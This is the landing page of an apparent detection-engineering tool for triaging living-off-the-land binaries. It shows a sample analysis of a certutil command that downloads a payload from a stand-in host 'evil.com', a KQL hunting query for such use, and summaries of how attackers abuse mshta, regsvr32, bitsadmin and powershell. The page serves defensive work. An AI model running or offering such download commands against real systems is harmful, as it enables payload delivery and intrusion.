Triage Suspicious Commands.
Generate SIEM Rules Instantly.
Deobfuscate suspicious command lines, identify weaponized Living-off-the-Land Binaries across Windows, Linux, and macOS, and produce copy-paste ready KQL, Sigma, and Splunk queries in milliseconds.
Threat Assessment & MITRE Mapping
Identified abuse of trusted binary **certutil.exe** (WINDOWS). Pattern indicates **Download** activity mapped to MITRE ATT&CK technique **T1105: Ingress Tool Transfer**.
- Environment variable path concatenation (e.g. %TEMP%)
- External network URL resource reference detected
Parameter & Switch Breakdown
| Switch / Token | Identified Purpose | Status |
|---|---|---|
-urlcache | Enable URL Cache parsing | Suspicious |
-split | Split / Force File Download | Suspicious |
-fhttp://evil.com/payload.exe | Force Overwrite | Standard |
Process Lineage & Execution TreeExpected Parent → Spawned Sub-process
C:\Windows\System32\cmd.exe
Spawning shell interpreter or automated task scheduler.
C:\Windows\System32\certutil.exe
The target command line executing suspicious flags.
C:\Users\Public\payload.exe
Downloaded secondary payload staged on disk.
Detection Engineering & SIEM Rules
Copy-paste ready telemetry filters1// Microsoft Defender XDR / Microsoft Sentinel2// Tactic: Download3DeviceProcessEvents4| where FileName =~ "certutil.exe"5| where ProcessCommandLine has_any ("-urlcache", "-split", "-f")6| project7 Timestamp,8 DeviceName,9 AccountName,10 InitiatingProcessParentFileName,11 InitiatingProcessFileName,12 InitiatingProcessCommandLine,13 FileName,14 FolderPath,15 ProcessCommandLine,16 MD5,17 SHA25618| sort by Timestamp descExplore by Attack Objective
Explore Living-off-the-Land Binaries grouped by adversary mission goals and MITRE ATT&CK tactics.
Download LOLBins & Ingress Tool Transfer Utilities
Adversaries weaponize trusted operating system binaries to download external payloads, malicious scripts, and stage-2 implants without relying on web browsers or dropping suspicious third-party downloaders.
Execution LOLBins & Script Interpreter Abuse
Living-off-the-Land execution utilities allow threat actors to run arbitrary shell commands, in-memory scripts, and weaponized payloads through signed system binaries, evading application blacklists.
UAC Bypass LOLBins & Privilege Escalation Vectors
Windows User Account Control (UAC) bypass techniques leverage auto-elevating binaries and trusted registry/environment hijacking to execute code at High or System integrity without prompting the interactive user.
Defense Evasion LOLBins: AppLocker & Antivirus Bypasses
Defense evasion LOLBins bypass endpoint security controls, Application Whitelisting (AppLocker/WDAC), and script restrictions by executing code through digitally signed, trusted Microsoft or Unix utilities.
Credential Dumping LOLBins & Memory Extraction Tools
Adversaries abuse built-in utilities to extract sensitive plaintext credentials, Kerberos tickets, and password hashes from operating system memory (LSASS) or local configuration stores.
Persistence LOLBins & Scheduled Execution Mechanisms
Adversaries abuse native system utilities to maintain uninterrupted access across system restarts, user logoffs, and credential updates by configuring autostarts, scheduled tasks, and service registrations.
Reconnaissance LOLBins & Internal Host Discovery
Adversaries abuse built-in command line tools to enumerate local users, domain trust relationships, network shares, installed software, and security configurations prior to lateral movement.
Trending Living-off-the-Land Binaries
certutil.exe
Certutil.exe is a command-line program installed as part of Certificate Services. Attackers frequently abuse it to download arbitrary files from remote URLs, encode/decode Base64 payloads to evade detection, and hash files.
mshta.exe
Microsoft HTML Application (MSHTA) host executes .hta files and scripts embedded inside web pages. Attackers abuse mshta to execute malicious inline VBScript or JScript directly from the command line or remote HTTP servers.
rundll32.exe
The Rundll32 program loads and runs 32-bit and 64-bit Dynamic Link Libraries (DLLs). Threat actors use it to execute exported functions from arbitrary DLLs, run scriptlets, or execute code via MSHTML protocol handlers.
bitsadmin.exe
Background Intelligent Transfer Service (BITS) administrator tool manages asynchronous, throttled background transfers. Attackers use BITS to stage remote downloads that survive reboots and evade conventional network monitoring.
regsvr32.exe
Regsvr32 registers and unregisters OLE controls, such as DLLs and ActiveX controls in the Windows Registry. When passed the /i switch pointing to an HTTP/HTTPS URL and scrobj.dll, regsvr32 downloads and executes remote COM scriptlets in memory (the classic Squiblydoo technique).
powershell.exe
PowerShell is a powerful task automation framework and scripting engine. Widely abused by threat actors for in-memory execution (fileless malware), credential dumping, remote command execution, and AMSI bypasses.
Built for Modern SOC & Detection Engineering
Streamline alert triaging and rule deployment without switching between disjointed cheat sheets.
Instant Command Parsing
Understands nested quotes, environment variables, caret escapes, and PowerShell backticks to expose true attacker intent.
Multi-SIEM Ready Queries
Generates Microsoft Defender Advanced Hunting KQL, vendor-neutral Sigma YAML, and Splunk SPL with single-click clipboard copy.
ATT&CK Matrix Correlation
Connects LOLBins across operating systems directly to corresponding MITRE techniques to map out adversary playbooks.
Sharon Ben Moshe
Lead Security ResearcherCybersecurity Researcher & Detection Engineer • Creator of LOLPulse • Check Point
Specializing in behavioral threat hunting, adversary tradecraft deconstruction, and detection engineering. With research experience at Check Point Software Technologies investigating malicious document vectors and LLM weaponization, Sharon leads LOLPulse to systematically verify Living-off-the-Land Binaries (LOLBins) and author production-grade KQL, Sigma, and Splunk detection queries.